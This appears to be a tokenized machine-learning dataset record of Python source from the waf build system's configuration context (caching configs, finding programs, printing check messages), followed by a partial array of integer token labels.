"return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "hash_", "=_", "hash_", "(_", "(_", "self_", "._", "hash_", ",_", "getattr_", "(_", "name", "\\u", "or", "\\u", "mod_", ",_", "'", "waf", "\\u", "hash", "\\u", "val", "'_", ",_", "name", "\\u", "or", "\\u", "mod_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "files_", "._", "append_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "store_", "(_", "self_", ",_", "file_", "=_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"", "save", " ", "the", " ", "config", " ", "results", " ", "int", "o", " ", "the", " ", "cache", " ", "file", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "self_", "._", "cachedir", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "os_", "._", "makedirs_", "(_", "self_", "._", "cachedir", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "file_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "cachedir", "_", ",_", "'", "build", ".", "config", ".", "py", "'_", ")_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "file_", "._", "write_", "(_", "'", "version", " ", "=", " ", "0", "x", "%", "x", "\\\\", "n", "'_", "%_", "HEX", "VERSION_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file_", "._", "write_", "(_", "'", "tool", "s", " ", "=", " ", "%", "r", "\\\\", "n", "'_", "%_", "self_", "._", "tools_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "all", "\\u", "envs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "self_", "._", "fatal_", "(_", "'", "not", "hing", " ", "to", " ", "store", " ", "in", " ", "the", " ", "configura", "tion", " ", "context", "!'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", "in_", "self_", "._", "all", "\\u", "envs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "tmp", "env_", "=_", "self_", "._", "all", "\\u", "envs_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tmp", "env_", "._", "store_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "cachedir", "_", ",_", "key_", "+_", "CACHE", "\\u", "SUFFIX_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "env", "\\u", "name_", "(_", "self_", ",_", "name_", ",_", "env_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"", "add", " ", "a", " ", "new", " ", "environ", "ment", " ", "call", "ed", " ", "name", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "all", "\\u", "envs_", "[_", "name_", "]_", "=_", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "retrieve_", "(_", "self_", ",_", "name_", ",_", "from", "env_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"", "retrieve", " ", "an", " ", "environ", "ment", " ", "call", "ed", " ", "name", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "env_", "=_", "self_", "._", "all", "\\u", "envs_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "env_", "=_", "Environment_", "._", "Environment_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "[_", "'", "PREF", "IX", "'_", "]_", "=_", "os_", "._", "path_", "._", "abspath_", "(_", "os_", "._", "path_", "._", "expanduser_", "(_", "Options_", "._", "options_", "._", "prefix_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "all", "\\u", "envs_", "[_", "name_", "]_", "=_", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "from", "env_", ":_", "warn_", "(_", "\"", "The", " ", "environ", "ment", " ", "%", "s", " ", "may", " ", "have", " ", "bee", "n", " ", "configur", "ed", " ", "alr", "ead", "y", "\"_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sete", "nv_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"", "enable", " ", "the", " ", "environ", "ment", " ", "call", "ed", " ", "name", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "env_", "=_", "self_", "._", "retrieve_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "env", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "os", "\\u", "flags_", "(_", "self_", ",_", "var_", ",_", "dest_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "do", " ", "not", " ", "use", " ", "'", "get", "'", " ", "to", " ", "make", " ", "cert", "ain", " ", "the", " ", "variab", "le", " ", "is", " ", "not", " ", "defined_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "try_", ":_", "self_", "._", "env_", "._", "append", "\\u", "value_", "(_", "dest_", "or_", "var_", ",_", "Utils_", "._", "to", "\\u", "list_", "(_", "self_", "._", "environ_", "[_", "var_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Key", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "message", "\\u", "1_", "(_", "self_", ",_", "sr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "self_", "._", "line", "\\u", "just", "_", "=_", "max_", "(_", "self_", "._", "line", "\\u", "just", "_", ",_", "len_", "(_", "sr_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "(_", "'\\\\", "n", "'_", ",_", "self_", "._", "line", "\\u", "just", "_", "*_", "'-'_", ",_", "'\\\\", "n", "'_", ",_", "sr_", ",_", "'\\\\", "n", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "self_", "._", "log_", "._", "write_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Utils_", "._", "pprint_", "(_", "'", "NORMA", "L", "'_", ",_", "\"%", "s", " ", ":\"_", "%_", "sr_", "._", "ljust_", "(_", "self_", "._", "line", "\\u", "just", "_", ")_", ",_", "sep_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "message", "\\u", "2_", "(_", "self_", ",_", "sr_", ",_", "color_", "=_", "'", "GREEN", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "self_", "._", "log_", "._", "write_", "(_", "sr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Utils_", "._", "pprint_", "(_", "color_", ",_", "sr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "message_", "(_", "self_", ",_", "th_", ",_", "msg_", ",_", "state_", ",_", "option_", "=_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "sr_", "=_", "'", "Check", "ing", " ", "for", " ", "%", "s", " ", "%", "s", "'_", "%_", "(_", "th_", ",_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "message", "\\u", "1_", "(_", "sr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "self_", "._", "check", "\\u", "message", "\\u", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "state_", ":_", "p_", "(_", "'", "ok", " ", "'_", "+_", "str_", "(_", "option_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "p_", "(_", "'", "not", " ", "found", "'_", ",_", "'", "YE", "LLO", "W", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "message", "\\u", "custom_", "(_", "self_", ",_", "th_", ",_", "msg_", ",_", "custom_", ",_", "option_", "=_", "''_", ",_", "color_", "=_", "'", "PIN", "K", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "sr_", "=_", "'", "Check", "ing", " ", "for", " ", "%", "s", " ", "%", "s", "'_", "%_", "(_", "th_", ",_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "message", "\\u", "1_", "(_", "sr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "check", "\\u", "message", "\\u", "2_", "(_", "custom_", ",_", "color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "\\u", "program_", "(_", "self_", ",_", "filename_", ",_", "path", "\\u", "list_", "=_", "[_", "]_", ",_", "var_", "=_", "None_", ",_", "mandatory_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"", "wrapp", "er", " ", "tha", "t", " ", "adds", " ", "a", " ", "configura", "tion", " ", "message", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ret_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "var_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "self_", "._", "env_", "[_", "var_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "ret_", "=_", "self_", "._", "env_", "[_", "var_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "var_", "in_", "os_", "._", "environ_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "ret_", "=_", "os_", "._", "environ_", "[_", "var_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "filename_", ",_", "list_", ")_", ":_", "filename_", "=_", "[_", "filename_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "ret_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "for_", "x_", "in_", "filename_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "ret_", "=_", "find", "\\u", "program", "\\u", "impl_", "(_", "self_", "._", "env_", ",_", "x_", ",_", "path", "\\u", "list_", ",_", "var_", ",_", "environ_", "=_", "self_", "._", "environ_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ret_", ":_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "check", "\\u", "message", "\\u", "1_", "(_", "'", "Check", "ing", " ", "for", " ", "program", " ", "%", "s", "'_", "%_", "'", " ", "or", " ", "'_", "._", "join_", "(_", "filename_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "write_", "(_", "'", " ", " ", "find", " ", "program", "=", "%", "r", " ", "path", "s", "=", "%", "r", " ", "var", "=", "%", "r", "\\\\", "n", " ", " ", "->", " ", "%", "r", "\\\\", "n", "'_", "%_", "(_", "filename_", ",_", "path", "\\u", "list_", ",_", "var_", ",_", "ret_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ret_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "Utils_", "._", "pprint_", "(_", "'", "GREEN", "'_", ",_", "str_", "(_", "ret_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "Utils_", "._", "pprint_", "(_", "'", "YE", "LLO", "W", "'_", ",_", "'", "not", " ", "found", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mandatory_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "self_", "._", "fatal_", "(_", "'", "The", " ", "program", " ", "%", "r", " ", "is", " ", "require", "d", "'_", "%_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "var_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "self_", "._", "env_", "[_", "var_", "]_", "=_", "ret_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "ret_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cmd", "\\u", "to", "\\u", "list_", "(_", "self_", ",_", "cmd_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\"", "command", "s", " ", "may", " ", "be", " ", "writt", "en", " ", "in", " ", "pseudo", " ", "shell", " ", "like", " ", "'", "cca", "che", " ", "g", "++", "'\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "cmd_", ",_", "str_", ")_", "and_", "cmd_", "._", "find_", "(_", "'", " ", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "os_", "._", "stat_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "return_", "shlex_", "._", "split_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "return_", "[_", "cmd_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cmd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getattr\\u\\u_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "r_", "=_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "dict\\u\\u_", "._", "get_", "(_", "name_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", ":_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "and_", "name_", "._", "startswith_", "(_", "'", "require", "\\u'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "for_", "k_", "in_", "[_", "'", "check", "\\u'_", ",_", "'", "find", "\\u'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "n_", "=_", "name_", "._", "replace_", "(_", "'", "require", "\\u'_", ",_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "dict\\u\\u_", "._", "get_", "(_", "n_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ret_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "def_", "run_", "(_", "*_", "k_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "r_", "=_", "ret_", "(_", "self_", ",_", "*_", "k_", ",_", "**_", "kw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "r_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "self_", "._", "fatal_", "(_", "'", "require", "ment", " ", "fail", "ure", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "run_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fatal_", "(_", "'", "No", " ", "suc", "h", " ", "method", " ", "%", "r", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "eval", "\\u", "rules_", "(_", "self_", ",_", "rules_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "self_", "._", "rules_", "=_", "Utils_", "._", "to", "\\u", "list_", "(_", "rules_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "self_", "._", "rules_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "f_", "=_", "getattr_", "(_", "self_", ",_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "f_", ":_", "self_", "._", "fatal_", "(_", "\"", "No", " ", "suc", "h", " ", "method", " ", "'%", "s", "'.\"_", "%_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "f_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "ret_", "=_", "self_", "._", "err", "\\u", "handler_", "(_", "x_", ",_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ret_", "==_", "BREAK", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ret_", "==_", "CONTINUE", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "fatal_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Configura", "tion", "Context_", "(_", "Utils_", "._", "Context_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "err", "\\u", "handler_", "(_", "self_", ",_", "fun_", ",_", "error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "conf_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"", "decorat", "or", ":", " ", "attach", " ", "new", " ", "configura", "tion", " ", "function", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "setattr_", "(_", "Configura", "tion", "Context_", ",_", "f_", "._", "\\u\\u", "name\\u\\u_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "conftest", "_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"", "decorat", "or", ":", " ", "attach", " ", "new", " ", "configura", "tion", " ", "tests", " ", "(", "register", "ed", " ", "as", " ", "string", "s", ")\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Configura", "tion", "Context_", "._", "tests_", "[_", "f_", "._", "\\u\\u", "name\\u\\u_", "]_", "=_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "conf_", "(_", "f_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 